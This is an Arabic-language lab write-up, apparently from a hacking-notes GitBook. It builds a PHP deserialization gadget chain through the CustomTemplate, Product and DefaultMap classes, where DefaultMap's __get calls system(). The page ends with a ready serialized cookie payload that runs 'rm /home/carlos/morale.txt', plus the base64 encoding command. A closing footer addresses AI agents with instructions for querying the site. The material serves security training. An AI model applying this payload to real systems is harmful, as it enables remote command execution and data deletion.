> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md).

# سلسلة نصية مخصصة لسلسلة غادجت لإلغاء تسلسل PHP

### تطوير سلسلة gadgets مخصّصة لإزالة التسلسل في PHP

يخزّن التطبيق الجلسة في قيمة مُسلسلة **الكوكي + مُشفَّرة باستخدام Base64**. أثناء إزالة التسلسل، بعض **الطرق السحرية** تُنفَّذ تلقائيًا (ولا سيما `__wakeup()`)، مما يفتح الطريق أمام سلسلة من الـ gadgets تؤدي إلى تنفيذ الأوامر.

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"r9zarbq7vgrlku65u7rowsyop83xikhc";}

```

{% endcode %}

يوفَّر التعليق التالي:

```html
    <!-- TODO: إعادة الهيكلة بعد تحديث /cgi-bin/libs/CustomTemplate.php -->
```

<figure><img src="/files/4c3200694cb0680550b73d81bf4a435cf432e825" alt=""><figcaption></figcaption></figure>

ملف قابل للقراءة عبر /\~

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1) تحليل الشيفرة (`CustomTemplate.php~` ملف النسخة الاحتياطية)

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // اعتقد كارلوس أن هذا رائع، وجود دالة تُستدعى في مكانين... يا له من عبقري
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos، ماذا كنت تفكر بهذه الأوصاف؟ يرجى إعادة الهيكلة!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### نقطة الإدخال التلقائية: `CustomTemplate::__wakeup()`

* أثناء `unserialize()`, يستدعي PHP تلقائيًا `__wakeup()`.
* هنا، `__wakeup()` يستدعي `build_product()`.

#### الانتشار إلى `Product`

`build_product()` يفعل:

* `new Product($this->default_desc_type, $this->desc)`

وفي `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

لذا **يحاول الكود الوصول إلى خاصية ديناميكية** على كائن `$desc` ، مع `$default_desc_type` بوصفها القيمة القابلة للتحكم.

#### الـ Gadget الحاسم: `DefaultMap::__get($name)`

إذا `$desc` هي `DefaultMap` كائن:

* ليس لديه خاصية حقيقية باسم `HTML_DESC` / `TEXT_DESC` / أو سلسلة أخرى مفروضة،
* لذلك يفعّل PHP `__get($name)`,
* `__get()` يُنفَّذ: `call_user_func($this->callback, $name)`.

إذا `callback = "system"` يكون الناتج `system($name)`.

#### 2) هدف السلسلة

شغّل:

* `system("rm /home/carlos/morale.txt")`

#### 3) بناء السلسلة (منطقيًا)

ابنِ كائنًا:

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/ (سيكون هذا اسم الخاصية في `DefaultMap`، لذا فإن الوسيط الممرَّر إلى `system`)
* `CustomTemplate->desc` = **كائن DefaultMap**
* `DefaultMap->callback` = **"system"**

مُشتق من إزالة التسلسل:

1. `unserialize()` → يستدعي `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` يُنتج `$desc->$default_desc_type`
4. `$desc` هو `DefaultMap` وعندما لا تكون الخاصية موجودة → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → ينفّذ الأمر

#### 4) الحمولة المُسلسلة بصيغة PHP (مع الانتباه إلى الأطوال)

الحمولة المُسلسلة:

```json
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
```

#### ترميز Base64 للكوكي

الأمر:

```bash
echo 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}' | base64 -w 0 ; echo
```

<figure><img src="/files/7c36068f22e7ccbe4825eb71853807db091171e5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
